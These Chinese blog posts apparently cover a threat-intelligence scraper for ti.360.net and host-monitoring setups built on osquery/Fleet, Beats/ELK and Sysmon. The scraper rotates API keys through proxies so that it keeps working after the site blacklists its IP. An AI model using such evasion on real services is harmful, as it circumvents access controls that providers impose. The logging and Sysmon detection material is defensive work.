            resp = requests.post(url,data=data,headers=self._headers,timeout=30,verify=False)
            if resp.status_code !=200:
                return item
            content = json.loads(resp.content)
            print json.dumps(content['data'])
        except Exception as why:
            print "error",why
            traceback.print_exc()

实际测试并发量高了以后,直接就被拦截了。真特么难受,所有还需要一个代理池来维持访问结果。

appKeys = [apikeys
]

def general(appKey):
    flag = False
    ip_port = 'someprooxys'
    proxy = {"http": "http://" + ip_port, "https": "https://" + ip_port}
    headers = {"Authorization": 'Basic '+ appKey}
    try:
        r = requests.get("http://pv.sohu.com/cityjson?ie=utf-8", headers=headers, proxies=proxy,verify=False,allow_redirects=False,timeout=30)
        if r.status_code == 200:
            ip_str = re.findall(r'\{[\s\S]+\}',r.content.decode('utf-8'))
            if len(ip_str)>0:
                flag = appKey
                return flag
    except Exception as e:
        traceback.print_exc()
        print(str(e),appKey)
        return flag

class Ti_360(object):

    def __init__(self,hashes):
        self._hash = hashes
        self._request = requests.session()
        self._headers = {
            'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36',
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
            'Accept-Language': 'zh-CN,zh;q=0.9,es;q=0.8,fr;q=0.7,vi;q=0.6',
            'X-Requested-With': 'XMLHttpRequest'
        }
        self.proxy = {"http": "http://someprooxys", "https": "https://someprooxys"}


    def get_proxy(self):
        import random
        appkey = False
        appKey = random.choice(appKeys)
        appkey = general(appKey)
        if not appkey:
            appkey = general(appKey)
        return appkey

    def get_filehash(self):
        appKey = self.get_proxy()
        if appKey:
            self._headers["Authorization"] = 'Basic '+ appKey
        url = "https://ti.360.net/search?type=file&value={hash}".format(hash=self._hash)
        if appKey:
            resp = self._request.get(url,headers=self._headers,proxies=self.proxy,timeout=30,verify=False)
        else:
            resp = self._request.get(url,headers=self._headers,timeout=30,verify=False)
        try:
            cookies = resp.headers['Set-Cookie']
            cookie = re.findall('session=(.*?);',cookies)
            if len(cookie)==0:
                return
            self._headers['Referer'] = url
            self._headers['Cookie'] = "session="+str(cookie[0])
        except Exception as e:
            pass

        del self._headers['Accept']
        self._headers['Accept'] = 'application/json, text/javascript, */*; q=0.01'

        url0 = "https://ti.360.net/ti/query?limit=100&offset=0&page=1&type=file&value={hash}".format(hash=self._hash)
        url1 = "https://ti.360.net/ti/task/{tags}"
        try:
            if appKey:
                resp0 = self._request.get(url0,headers=self._headers,proxies=self.proxy,timeout=30,verify=False)
            else:
                resp0 = self._request.get(url0,headers=self._headers,timeout=30,verify=False)
            if resp0.status_code !=200:
                return
            content0 = json.loads(resp0.content)
            if int(content0['status'])!=200:
                print "your IP in black list"
                return
            info = ""
            for name in content0['data']:
                info = info + content0['data'][name]+","

            if len(info)==0:
                return
            url1 = url1.format(tags=str(info))
            if appKey:
                resp1 = self._request.get(url1,headers=self._headers,proxies=self.proxy,timeout=30,verify=False)
            else:
                resp1 = self._request.get(url1,headers=self._headers,timeout=30,verify=False)
            if resp1.status_code !=200:
                return
            content1 = json.loads(resp1.content)

            for xfile in content1['data']:
                if "table" in str(content1['data'][xfile]):
                    if len(content1['data'][xfile]['table'])>0:
                        tables = content1['data'][xfile]['table'][0]
                        return json.dumps(tables)

        except Exception as why:
            print "error",why
            traceback.print_exc()

    def get_ipioc(self):
        item = {}
        appKey = self.get_proxy()
        if appKey:
            self._headers["Authorization"] = 'Basic '+ appKey
        url = "https://ti.360.net/search?type=ip&value={hash}".format(hash=self._hash)
        if appKey:
            resp = self._request.get(url,headers=self._headers,proxies=self.proxy,timeout=30,verify=False)
        else:
            resp = self._request.get(url,headers=self._headers,timeout=30,verify=False)
        try:
            cookies = resp.headers['Set-Cookie']
            cookie = re.findall('session=(.*?);',cookies)
            if len(cookie)==0:
                return
            self._headers['Referer'] = url
            self._headers['Cookie'] = "session="+str(cookie[0])
        except Exception as e:
            pass

        del self._headers['Accept']
        self._headers['Accept'] = 'application/json, text/javascript, */*; q=0.01'

        url0 = "https://ti.360.net/ti/query?limit=100&offset=0&page=1&type=ip&value={hash}".format(hash=self._hash)
        url1 = "https://ti.360.net/ti/task/{tags}"
        try:
            if appKey:
                resp0 = self._request.get(url0,headers=self._headers,proxies=self.proxy,timeout=30,verify=False)
            else:
                resp0 = self._request.get(url0,headers=self._headers,timeout=30,verify=False)
            if resp0.status_code !=200:
                return
            content0 = json.loads(resp0.content)
            if int(content0['status'])!=200:
                print "your IP in black list"
                return
            info = ""
            for name in content0['data']:
                info = info + content0['data'][name]+","

            if len(info)==0:
                return

            url1 = url1.format(tags=str(info))
            if appKey:
                resp1 = self._request.get(url1,headers=self._headers,proxies=self.proxy,timeout=30,verify=False)
            else:
                resp1 = self._request.get(url1,headers=self._headers,timeout=30,verify=False)
            if resp1.status_code !=200:
                return
            content1 = json.loads(resp1.content)

            for xfile in content1['data']:
                if "ip_attribute" in xfile:
                    if "table" in str(content1['data'][xfile]):
                        if len(content1['data'][xfile]['table'])>0:
                            for name in content1['data'][xfile]['table']:
                                item[name] = content1['data'][xfile]['table'][name]
                elif "ip_ioc_detect" in xfile:
                    ioctag = []
                    if "table" in str(content1['data'][xfile]):
                        if len(content1['data'][xfile]['table'])>0:
                            for name in content1['data'][xfile]['table']:
                                ioctag.extend(name['tags'])
                    if len(list(set(ioctag)))>0:
                        item['ioctag'] = list(set(ioctag))
                elif "ip_tag" in xfile:
                    iptag = set()
                    if "table" in str(content1['data'][xfile]):
                        if len(content1['data'][xfile]['table'])>0:
                            for name in content1['data'][xfile]['table']:
                                try:
                                    iptag.add(str(name['platform'])+" "+str(name['type'])+" "+ str(name['tag']))
                                except:
                                    try:
                                        iptag.add(str(name['type'])+" "+ str(name['tag']))
                                    except:
                                        iptag.add(str(name['tag']))

                    if len(list(iptag))>0:
                        item['iptag'] = list(iptag)
                elif "ip_try_connect" in xfile:
                    ipconnect = set()
                    if "table" in str(content1['data'][xfile]):
                        for name in content1['data'][xfile]['table']:
                            try:
                                ipconnect.add(str(name['malicious_family']+" " + str(name['malicious_type'])))
                            except:
                                try:
                                    ipconnect.add(str(name['malicious_family']))
                                except Exception as e:
                                    ipconnect.add(str(name['malicious_type']))
                    if len(list(ipconnect))>0:
                        item['iptry'] = list(ipconnect)
            if len(item)>0:
                item['ipaddr'] = self._hash
            return json.dumps(item)
        except Exception as why:
            print "error",why
            traceback.print_exc()

测试效果如下

[{"is_proxy": false, "whitelist": "1", "ipaddr": "52.4.209.250", "user_type": "\u5883\u5916IDC", "ioctag": ["SUPPOBOX", "WWW.DSHIELD.ORG", "BOTNET", "REV 3807", "C&C", "MALICIOUS", "TROJAN-ACTIVITY", "HTTPS://ZEUSTRACKER.ABUSE.CH/BLOCKLIST.PHP?DOWNLOAD=IPBLOCKLIST", "DDOS", "DDOS TARGET", "HTTPS://ZEUSTRACKER.ABUSE.CH/BLOCKLIST.PHP?DOWNLOAD=BADIPS"], "proxy_type": "", "location": "\u7f8e\u56fd/\u5f17\u5409\u5c3c\u4e9a\u5dde/\u963f\u4ec0\u672c", "iptag": ["RTF", "Windows \u8fdc\u63a7\u6728\u9a6c SUPPOBOX", "RANSOMWARE", "Windows \u8fdc\u63a7\u6728\u9a6c RANBYUS", "Windows \u8fdc\u63a7\u6728\u9a6c TINBA", "Windows \u8fdc\u63a7\u6728\u9a6c RAMDO", "LOCKY", "Windows \u8fdc\u63a7\u6728\u9a6c RAMNIT"], "asn": "AS14618 Amazon.com, Inc.", "is_idc": true},
{"is_proxy": false, "whitelist": "1", "ipaddr": "185.198.59.121", "user_type": "\u5883\u5916IDC", "ioctag": ["C2", "DDOS", "MALICIOUS"], "proxy_type": "", "location": "\u7f57\u9a6c\u5c3c\u4e9a/\u5e03\u52a0\u52d2\u65af\u7279", "iptag": ["Windows \u7a83\u5bc6\u6728\u9a6c FORMBOOK", "CVE-2017-11882"], "asn": "AS60117 Host Sailor Ltd.", "is_idc": true},
{"is_proxy": false, "whitelist": "1", "ipaddr": "23.236.76.75", "user_type": "\u5883\u5916IDC", "asn": "AS134835 Starry Network Limited", "location": "\u7f8e\u56fd/\u52a0\u5229\u798f\u5c3c\u4e9a\u5dde/\u6d1b\u6749\u77f6", "ioctag": ["DDOS", "MALICIOUS"], "proxy_type": "", "is_idc": true},
{"is_proxy": false, "whitelist": "1", "ipaddr": "91.229.79.184", "user_type": "\u5883\u5916IDC", "asn": "AS42331 PE Freehost", "location": "\u4e4c\u514b\u5170/\u57fa\u8f85", "iptag": ["PATCHWORK", "DROPPING ELEPHANT", "APT"], "proxy_type": "", "is_idc": true}]


这里还需要增加一个机制,一旦匹配失败需要标记重新匹配。不然一旦访问出错就没有办法匹配到了

demo的结果如下.

后续想着对全部数据进行入库展示,利用mongodb或者mysql来作为后端数据库支持。前端利用flask或者tornado 来展示。

PS:后面改进了,利用loki的IOC来识别了

Kolide Fleet osquery体验

发布时间:December 17, 2018 // 分类:开发笔记,运维工作,工作日志,linux,windows // No Comments

fleet Osquery体验

Kolide Fleet是为安全专家量身打造的最先进的主机监控平台。利用Facebook久经考验的osquery项目,Kolide能够快速回答重大问题。要了解更多关于Kolide Fleet的信息,请访问https://kolide.com/fleet 【都是xxx翻译的】说的直白一点就是一个信息汇聚实时查询系统

0x00.fleet准备

根据官方的提示,可以自行安装golang环境或者使用官方提供的编译好的程序。这里主要是为了方便,解决一些依赖问题啥的。直接利用官方提供的编译好的二进程程序。

$ wget https://dl.kolide.co/bin/fleet_latest.zip
$ unzip fleet_latest.zip 'linux/*' -d fleet
$ sudo cp fleet/linux/fleet* /usr/bin/

由于fleet依赖于mysql以及redis,所以需要安装mysql和redis
要安装MySQL服务器文件,请运行以下命令

$ wget https://repo.mysql.com/mysql57-community-release-el7.rpm
$ sudo rpm -i mysql57-community-release-el7.rpm
$ sudo yum update
$ sudo yum install mysql-server

要启动MySQL服务:

$ sudo systemctl start mysqld

假如我们需要对数据库进行增删改操作,需要修改默认的数据库密码。安装的时候自动生成的数据库密码在/var/log/mysqld.log中。连接mysql并更改密码后需要重新启动mysql服务

mysql> ALTER USER "root"@"localhost" IDENTIFIED BY "toor?Fl33t";
mysql> flush privileges;
mysql> exit

停止MySQL并重新开始

$ sudo mysqld stop  
$ sudo systemctl start mysqld

然后创建一个数据库给fleet使用。

$ echo 'CREATE DATABASE kolide;' | mysql -u root -p

要安装Redis服务器文件,请运行以下命令:

$ wget http://download.redis.io/redis-stable.tar.gz
$ tar zxf redis-stable.tar.gz
$ cd redis-stable
$ make 
$ make install
$ cp redis.conf /etc/redis.conf
$ redis-server /etc/redis.conf

0x01.fleet安装配置

现在我们已经安装了Fleet,MySQL和Redis,在运行fleet之前需要对数据进行初始化

$ /usr/bin/fleet prepare db \
    --mysql_address=127.0.0.1:3306 \
    --mysql_database=kolide \
    --mysql_username=root \
    --mysql_password=toor?Fl33t

如果没有错误的话,会提示初始化完成Migrations completed.
在我们运行服务器之前,我们需要生成一些TLS密钥材料。如果您已经拥有生成有效TLS证书的工具,那么建议您使用它。您将需要TLS证书和密钥来运行Fleet服务器。如果您想生成自签名证书,可以通过以下方式执行此操作:

$ openssl genrsa -out /tmp/server.key 4096
$ openssl req -new -key /tmp/server.key -out /tmp/server.csr
$ openssl x509 -req -days 366 -in /tmp/server.csr -signkey /tmp/server.key -out /tmp/server.cert

通过如下的命令启动fleet

$ /usr/bin/fleet serve \
  --mysql_address=127.0.0.1:3306 \
  --mysql_database=kolide \
  --mysql_username=root \
  --mysql_password=toor?Fl33t \
  --redis_address=127.0.0.1:6379 \
  --server_cert=/tmp/server.cert \
  --server_key=/tmp/server.key \
  --logging_json \
  --auth_jwt_key h8IMf9Y7R5YxSS0bN6tsLV8aNehn/qHX

如果不加auth_jwt_key好像不能运行,程序会打印出一个随机码,如果加auth_jwt_key运行后程序提示在808端口上运行成功。然后访问https://ip:8080 输入一些配置信息就可以成功到界面

0x02.Osquery安装配置

Osquery的安装根据官方提供的下载地址进行安装。也可以根据fleet程序提供的安装说明进行安装.

需要对Osquery配置的就两个地方,一个是fleet的证书【tls_server_certs】和密钥【enroll_secret_path】。来源是添加主机的时候的两个地方

--enroll_secret_path=/opt/osquery/secret.pem
--tls_hostname=fleet的地址,省去https://
--tls_server_certs=/opt/osquery/fleet.pem
--host_identifier=uuid
--enroll_tls_endpoint=/api/v1/osquery/enroll
--config_plugin=tls
--config_tls_endpoint=/api/v1/osquery/config
--config_tls_refresh=10
--disable_distributed=false
--distributed_plugin=tls
--distributed_interval=10
--distributed_tls_max_attempts=3
--distributed_tls_read_endpoint=/api/v1/osquery/distributed/read
--distributed_tls_write_endpoint=/api/v1/osquery/distributed/write
--logger_plugin=tls
--logger_tls_endpoint=/api/v1/osquery/log
--logger_tls_period=10


启动的时候以命令

$ osqueryd --flagfile=/opt/osquery/osquery.flag


运行成功后在fleet会看到相关的主机连接信息

windows也是通过相同的配置连接到fleet

--enroll_secret_path=c:\ProgramData\osquery\certs\certs.pem
--tls_hostname=192.168.87.232:8080
--tls_server_certs=c:\ProgramData\osquery\certs\192.168.87.232_8080.pem
--host_identifier=uuid
--enroll_tls_endpoint=/api/v1/osquery/enroll
--config_plugin=tls
--config_tls_endpoint=/api/v1/osquery/config
--config_tls_refresh=10
--disable_distributed=false
--distributed_plugin=tls
--distributed_interval=10
--distributed_tls_max_attempts=3
--distributed_tls_read_endpoint=/api/v1/osquery/distributed/read
--distributed_tls_write_endpoint=/api/v1/osquery/distributed/write
--logger_plugin=tls
--logger_tls_endpoint=/api/v1/osquery/log
--logger_tls_period=10

0x03.fleet使用

fleet就很简单,类似一个在线的osqueryi

SELECT p.pid, name, p.path as process_path, pf.path as open_path FROM osquery_info i JOIN processes p ON p.pid = i.pid JOIN process_open_files pf ON pf.pid = p.pid  WHERE pf.path LIKE '/dev/%';

利用beat对系统进行监控

发布时间:December 10, 2018 // 分类:开发笔记,运维工作,linux,windows,生活琐事 // No Comments

主要是利用winlogbeat和auditbeat进行监控

关于安装elk.自行更新到最新版本

wget https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-6.4.2.rpm
wget https://artifacts.elastic.co/downloads/kibana/kibana-6.4.2-x86_64.rpm
wget https://artifacts.elastic.co/downloads/logstash/logstash-6.4.2.rpm

rpm -ivh elasticsearch-6.4.2.rpm 
sudo chkconfig --add elasticsearch
/etc/init.d/elasticsearch start

rpm -ivh kibana-6.4.2-x86_64.rpm 
/etc/init.d/kibana start
sudo chkconfig --add kibana

rpm -ivh logstash-6.4.2.rpm
cd /usr/share/logstash
ln -s /etc/logstash ./config

1.windows系统

暂时针对的是win7及其以上的系统才方便使用,主要的是方便升级powershell。有点奇葩的是需要系统是正版,如果不是请自行激活。相关的记录参照针对windows下命令记录的种种

这里的监控主要是开启了各种命令执行记录放进事件文件中,然后利用winlogbeat对相关文件进行监控。然后安装Winlogbeat服务

PS C:\Users\Administrator> cd 'C:\Program Files\Winlogbeat'
PS C:\Program Files\Winlogbeat> .\install-service-winlogbeat.ps1

Security warning
Run only scripts that you trust. While scripts from the internet can be useful,
this script can potentially harm your computer. If you trust this script, use
the Unblock-File cmdlet to allow the script to run without this warning message.
Do you want to run C:\Program Files\Winlogbeat\install-service-winlogbeat.ps1?
[D] Do not run  [R] Run once  [S] Suspend  [?] Help (default is "D"): R

Status   Name               DisplayName
------   ----               -----------
Stopped  winlogbeat         winlogbeat

相关的配置文件winlogbeat.yml

###################### Winlogbeat Configuration Example ##########################

# This file is an example configuration file highlighting only the most common
# options. The winlogbeat.full.yml file from the same directory contains all the
# supported options with more comments. You can use it as a reference.
#
# You can find the full configuration reference here:
# https://www.elastic.co/guide/en/beats/winlogbeat/index.html

#======================= Winlogbeat specific options ==========================

# event_logs specifies a list of event logs to monitor as well as any
# accompanying options. The YAML data type of event_logs is a list of
# dictionaries.
#
# The supported keys are name (required), tags, fields, fields_under_root,
# forwarded, ignore_older, level, event_id, provider, and include_xml. Please
# visit the documentation for the complete details of each option.
# https://go.es.io/WinlogbeatConfig

winlogbeat.event_logs:
  - name: Application
    ignore_older: 72h
    fields:
      log_type: windowsevt
  - name: Security
    fields:
      log_type: windowsevt
  - name: System
    fields:
      log_type: windowsevt
  - name: Windows PowerShell
    fields:
      log_type: windowsevt
  - name: Microsoft-Windows-PowerShell/Operational
    fields:
      log_type: windowsevt
  - name: Microsoft-Windows-WMI-Activity/Operational
    fields:
      log_type: windowsevt
  - name: Microsoft-Windows-RemoteDesktopServices-RdpCoreTS/Operational
    fields:
      log_type: windowsevt
  - name: Microsoft-Windows-Sysmon/Operational
    fields:
      log_type: windowsevt 
#================================ General =====================================

# The name of the shipper that publishes the network data. It can be used to group
# all the transactions sent by a single shipper in the web interface.
#name:

# The tags of the shipper are included in their own field with each
# transaction published.
#tags: ["service-X", "web-tier"]

# Optional fields that you can specify to add additional information to the
# output.
#fields:
#  env: staging

#================================ Outputs =====================================

# Configure what outputs to use when sending the data collected by the beat.
# Multiple outputs may be used.

#-------------------------- Elasticsearch output ------------------------------
# output.elasticsearch:
#   # Array of hosts to connect to.

  # Optional protocol and basic auth credentials.
  # protocol: "http"
#----------------------------- Logstash output --------------------------------
output.logstash:
  #The Logstash hosts
  hosts: ["localhost:5044"]

  # Optional SSL. By default is off.
  # List of root certificates for HTTPS server verifications
  #ssl.certificate_authorities: ["/etc/pki/root/ca.pem"]

  # Certificate for SSL client authentication
  #ssl.certificate: "/etc/pki/client/cert.pem"

  # Client Certificate Key
  #ssl.key: "/etc/pki/client/cert.key"

#================================ Logging =====================================
# Sets log level. The default log level is info.
# Available log levels are: critical, error, warning, info, debug
#logging.level: debug

# At debug level, you can selectively enable logging only for some components.
# To enable all selectors use ["*"]. Examples of other selectors are "beat",
# "publish", "service".
#logging.selectors: ["*"]
logging.to_files: true
logging.files: 
  path: C:/ProgramData/winlogbeat/Logs
logging.level: info

再启动winlogbeat服务

net start winlogbeat

需要修改output.logstash:中的host为相关安装elk的机器。同时该机器的logstash的配置如下

input {
  beats {
    port => 5044
    host => "0.0.0.0"
  }
}

filter {

if ([fields][log_type] == "windowsevt") {

mutate {
 add_field => { "[orig_message]" => "%{message}" }
 }

#substitute some fields
 mutate {
 gsub => [
 "message", "\r\n", " ",
 "message", "\n", " " 
 ] 
 }

#Filter the message field of events 403 and 400
 if ([event_id] == 403 or [event_id] == 400) {
 grok {
 match => { "message" => "%{GREEDYDATA:[event_data][msg]}\sDetails:\s*NewEngineState\s*=\s*%{GREEDYDATA:[event_data][details][newenginewtate]}\s*PreviousEngineState\s*=\s*%{GREEDYDATA:[event_data][details][previousengineState]}\s*SequenceNumber\s*=\s*%{INT:[event_data][details][sequencenumber]}\s*HostName\s*=\s*%{GREEDYDATA:[event_data][details][hostname]}\s*Host\s*Version\s*=\s*%{GREEDYDATA:[event_data][details][hostversion]}\s*Host\s*Id\s*=\s*%{GREEDYDATA:[event_data][details][hostid]}\s*Host\s*Application\s*=\s*%{GREEDYDATA:[event_data][details]hostapplication]}\s*Engine\s*Version\s*=\s*%{GREEDYDATA:[event_data][details][engineversion]}\s*Runspace\s*Id\s*=\s*%{GREEDYDATA:[event_data][details][runspaceid]}\s*Pipeline\s*Id\s*=\s*%{GREEDYDATA:[event_data][details][pipelineid]}\s*Command\s*Name\s*=\s*%{GREEDYDATA:[event_data][details][commandname]}\s*Command\s*Type\s*=\s*%{GREEDYDATA:[event_data][details][commandtype]}\s*Script\s*Name\s*=\s*%{GREEDYDATA:[event_data][details][scriptmname]}\s*Command\s*Path\s*=\s*%{GREEDYDATA:[event_data][details][commandpath]}\s*Command\s*Line\s*=\s*%{GREEDYDATA:[event_data][details][commandline]}" }
 } 
 }
 #Filter the message field of event 600
 if ([event_id] == 600) {
 grok {
 match => { "message" => "%{GREEDYDATA:[event_data][msg]}\sDetails:\s*ProviderName\s*=\s*%{GREEDYDATA:[event_data][details][providername]}\s*NewProviderState\s*=\s*%{GREEDYDATA:[event_data][details][newproviderstate]}\s*SequenceNumber\s*=\s*%{INT:[event_data][details][sequencenumber]}\s*HostName\s*=\s*%{GREEDYDATA:[event_data][details][hostname]}\s*Host\s*Version\s*=\s*%{GREEDYDATA:[event_data][details][hostversion]}\s*Host\s*Id\s*=\s*%{GREEDYDATA:[event_data][details][hostid]}\s*Host\s*Application\s*=\s*%{GREEDYDATA:[event_data][details]hostapplication]}\s*Engine\s*Version\s*=\s*%{GREEDYDATA:[event_data][details][engineversion]}\s*Runspace\s*Id\s*=\s*%{GREEDYDATA:[event_data][details][runspaceid]}\s*Pipeline\s*Id\s*=\s*%{GREEDYDATA:[event_data][details][pipelineid]}\s*Command\s*Name\s*=\s*%{GREEDYDATA:[event_data][details][commandname]}\s*Command\s*Type\s*=\s*%{GREEDYDATA:[event_data][details][commandtype]}\s*Script\s*Name\s*=\s*%{GREEDYDATA:[event_data][details][scriptmname]}\s*Command\s*Path\s*=\s*%{GREEDYDATA:[event_data][details][commandpath]}\s*Command\s*Line\s*=\s*%{GREEDYDATA:[event_data][details][commandline]}" }
 } 
 }

#standartize the IP address field
 if ([event_data][IPString]) {
 mutate {
 rename => { "[event_data][IPString]" => "[remote_ip]" }
 }
 }

#standartize the IP address field
 if ([event_data][ClientAddress]) {
 mutate {
 rename => { "[event_data][ClientAddress]" => "[remote_ip]" }
 }
 }
 #standartize the IP address field
 if ([event_data][IpAddress]) {
 grok {
 match => { "[event_data][IpAddress]" => "%{IPV4:[remote_ip]}" }
 }

}

#Split Remote IP and Port 
 if ([event_data][ClientIP]) {
 mutate {
 split => ["[event_data][ClientIP]" , ":"]
 add_field => { "[remote_ip]" => "%{[event_data][ClientIP][0]}" }
 add_field => { "[port]" => "%{[event_data][ClientIP][1]}" }
 remove_field => [ "[event_data][ClientIP]" ]
 }
 }

#add GeoIP
 geoip {
 source => "[remote_ip]]"
 target => "[geoip]"
 }
}
}

output {
  elasticsearch {
    hosts => ["127.0.0.1:9200"]
    index => "windowsevt-%{+YYYY.MM.dd}"
    manage_template => false
  }
  stdout { codec => rubydebug }
}

当然也可以精简为

input {
  beats {
    port => 5044
    host => "0.0.0.0"
  }
}


output {
  elasticsearch {
    hosts => ["127.0.0.1:9200"]
    index => "auditbeat-%{+YYYY.MM.dd}"
    manage_template => false
  }
  stdout { codec => rubydebug }
}

启动logstash

./bin/logstash -f config/conf.d/winevtx.conf

同时该机器需要打开防火墙开放5044端口给相关的机器。到kibana新建索引

测试执行wmi


非常规应用

缺点也是非常明显,一旦停止了sysmon和winlogbeat,就无法继续采集到信息了。

2.linux系统

开始准备使用Audit来实现,后来发现elastic发现一个神奇的玩意Auditbeat。发现网上大多数都是直接写入es或者kibana。直接写入logstash的好像很少。记录一下

https://artifacts.elastic.co/downloads/beats/auditbeat/auditbeat-6.5.2-x86_64.rpm
rpm -ivh auditbeat-6.5.2-x86_64.rpm
sudo chkconfig --add auditbeat
#修改/etc/auditbeat/auditbeat.yml
mv /etc/auditbeat/auditbeat.yml /etc/auditbeat/auditbeat.yml_bak
wget http://0cx.cc/ps/auditbeat.yml -O /etc/auditbeat/auditbeat.yml

值得需要修改的地方

- module: file_integrity
  paths:

如果需要新增监控的目录就继续写 - path。这里的path需要的是绝对路径,另外一个地方是output.logstash。修改为自己elk的机器。集合之前写的bash执行命令监控,可以持续监控。保存后重启auditbeat

service auditbeat restart

logstash建立监控配置

vim auditbeat.conf
input {
  beats {
    port => 5045
    host => "0.0.0.0"
  }
}


output {
  elasticsearch {
    hosts => ["127.0.0.1:9200"]
    index => "auditbeat-%{+YYYY.MM.dd}"
    manage_template => false
  }
  stdout { codec => rubydebug }
}

同样的在主机上修改防火墙打开对应的5045端口。然后在kibana新建索引即可。但是这里有个坑爹的地方,需要在相关的机器上修改对应的机器名.linux默认机器名都是localhost.localdomain

缺点也是非常明显,一旦停止了auditbeat服务以后就gg了,还有就是SYSMON会在某个时候突然占用大量的CPU.这个问题不是很好解决

参考

https://github.com/margusmaki/ELK
https://raw.githubusercontent.com/Mosuan/AuditdPy/master/docs/rule.txt

针对windows下命令记录的种种

发布时间:December 2, 2018 // 分类:运维工作,开发笔记,工作日志,windows // No Comments

处于客户的某种需求需要对windows系统进行进程监控,想了几个办法,但是走了一些弯路,不过好在还是实现了

最开始想到的是hook,后记录cmd命令,后来小伙伴提示不仅仅是cmd命令。还有其他的进程信息。这类例举了一些可以依赖于系统实现和记住第三方实现的方式

1. 系统自带的gpedit.msc

实际上,在win10、win8、win2012、win2016上面,是可以手动开启4688进程记录的,并且记录详细的命令信息。开启方法如下。
打开gpedit.msc
计算机配置 > 策略 > Windows 设置 > 安全设置 > 高级审核配置 > 详细跟踪>审核创建进程

然后到
管理 模板\系统\审核创建的进程\在创建事件的过程中包含命令行

2. 借助工具sysmon可以实现

https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon

Sysmon.exe -accepteula -i -l -n
Sysmon64.exe -accepteula -i -l -n

与此执行相关联的标志是:

-l:记录模块的加载。(可选)列出要跟踪的进程列表
-i: 安装服务和驱动程序。(可选)获取配置文件。
-n: 记录网络连接。(可选)列出要跟踪的进程列表。
只需键入以下命令即可查看配置: Sysmon -c

安装好以后会在%SystemRoot%\System32\Winevt\Logs\出现Microsoft-Windows-Sysmon%4Operational.evtx

此外,Sysmon还允许我们创建可自定义的配置文件,允许我们根据系统上发生的某些活动创建Windows事件日志记录。例如,您可以通过监视进程wmiprvse.exe来告诉Sysmon开始监视与WMI命令执行相关的活动。配置文件格式全部采用XML格式,因此您可以自行定制。如果您不想出于任何原因自定义XML文件,则可以从此Github资源sysmon配置下载Sysmon的特定配置文件列表 。下载任何配置文件后,只需将它们与-c标志一起运行,如下例所示

Sysmon64.exe -c c:\Scripts\Sysmon\scripts\T0000_wmic_remote.xml -l -n 
Sysmon64.exe -c c:\Scripts\Sysmon\scripts\T1138_appcompat.xml -l -

给出一个配置文件例子

<Sysmon schemaversion="3.4">
 <!-- Capture all hashes -->
 <HashAlgorithms>*</HashAlgorithms>
 <EventFiltering>
 <!-- Event ID 1 == Process Creation. -->
 <ProcessCreate onmatch="include">
 <ParentImage condition="end with">wmiprvse.exe</ParentImage>
 <ParentImage condition="contains">cmd.exe</ParentImage>
 <ParentImage condition="contains">wscript.exe</ParentImage>
 <ParentImage condition="contains">svchost.exe</ParentImage>
 <ParentImage condition="contains">powershell.exe</ParentImage>
 <ParentImage condition="contains">mshta.exe</ParentImage>
 <ParentImage condition="contains">office</ParentImage>
 <Image condition="end with">cscript.exe</Image>
 <Image condition="end with">wscript.exe</Image>
 <Image condition="end with">cmd.exe</Image>
 <Image condition="end with">powershell.exe</Image>
 <Image condition="end with">sh.exe</Image>
 <Image condition="end with">bash.exe</Image>
 <Image condition="end with">scrcons.exe</Image>
 <Image condition="end with">regsvr32.exe</Image> 
 <Image condition="end with">hh.exe</Image> 
 </ProcessCreate>
 <!-- Event ID 2 == File Creation Time. -->
 <FileCreateTime onmatch="include"/>
 <!-- Event ID 3 == Network Connection. -->
 <NetworkConnect onmatch="include"/>
 <!-- Event ID 5 == Process Terminated. -->
 <ProcessTerminate onmatch="include"/>
 <!-- Event ID 6 == Driver Loaded. -->
 <DriverLoad onmatch="include"/>
 <!-- Event ID 7 == Image Loaded. -->
 <ImageLoad onmatch="include"/>
 <!-- Event ID 8 == CreateRemoteThread. -->
 <CreateRemoteThread onmatch="include"/>
 <!-- Event ID 9 == RawAccessRead. -->
 <RawAccessRead onmatch="include"/>
 <!-- Event ID 10 == ProcessAccess. -->
 <ProcessAccess onmatch="include"/>
 <!-- Event ID 11 == FileCreate. -->
 <FileCreate onmatch="include"/>
 <!-- Event ID 12,13,14 == RegObject added/deleted, RegValue Set, RegObject Renamed. -->
 <RegistryEvent onmatch="include"/>
 <!-- Event ID 15 == FileStream Created. -->
 <FileCreateStreamHash onmatch="include" />
 <!-- Event ID 17,18 == PipeEvent. Log Named pipe created & Named pipe connected -->
 <PipeEvent onmatch="include"/>
 <!-- Event ID 19,20,21, == WmiEvent. Log all WmiEventFilter, WmiEventConsumer, WmiEventConsumerToFilter activity-->
 <WmiEvent onmatch="include"/>
 </EventFiltering>
</Sysmon>

正如您在上面的示例中所看到的,HashAlgorithms中的*(星号)符号 XML只是告诉Sysmon计算已执行进程的所有可能哈希值(即MD5,SHA1,SHA256和IMPHASH)。当您阅读Logstash配置部分时,您将看到如何将这些哈希值拆分到它们自己的字段以及如何在Kibana中创建每个字段的表。好吧,在流程创建部分,您可以设置流程名称的触发器,包括设置父子流程,每个触发器的条件等。Sysmon还允许您为网络连接生成其他事件,加载驱动程序并继续列表。我建议您在其他在线资源中阅读Sysmon,以便掌握Sysmon的全部功能。其中一些资源在本文末尾的参考部分中提到。

3. 开启powershell记录

可以借助wevtutil来实现

wevtutil Set-Log "Microsoft-Windows-PowerShell/Analytic" /q:true /e:true

PowerShell v3/v4 全面的日志记录

借助对 Windows 事件跟踪 (ETW) 日志、模块中可编辑的 LogPipelineExecutionDetails属性和“打开模块日志记录”组策略设置的支持,Windows PowerShell 3.0 改进了对命令和模块的日志记录和跟踪支持。 自PowerShell v3版本以后支持启用PowerShell模块日志记录功能,并将此类日志归属到了4103事件。最新的PowerShell v5 提供反混淆功能
启用脚本块日志可以以管理员权限运行PowerShell v5,并运行以下命令即可:

Install-Module -Name scriptblocklogginganalyzer -Scope CurrentUser
set-SBLLogSize -MaxSizeMB 1000
Enalbe-SBL

或者通过GPO启用PowerShell脚本块日志记录功能并记录脚本文件的调用信息:
计算机配置\策略\管理模板\ Windows组件\ Windows PowerShell
先启用模块日志记录


再打开powershell脚本块日志记录

当然也可以通过修改以下注册表选项来开启:

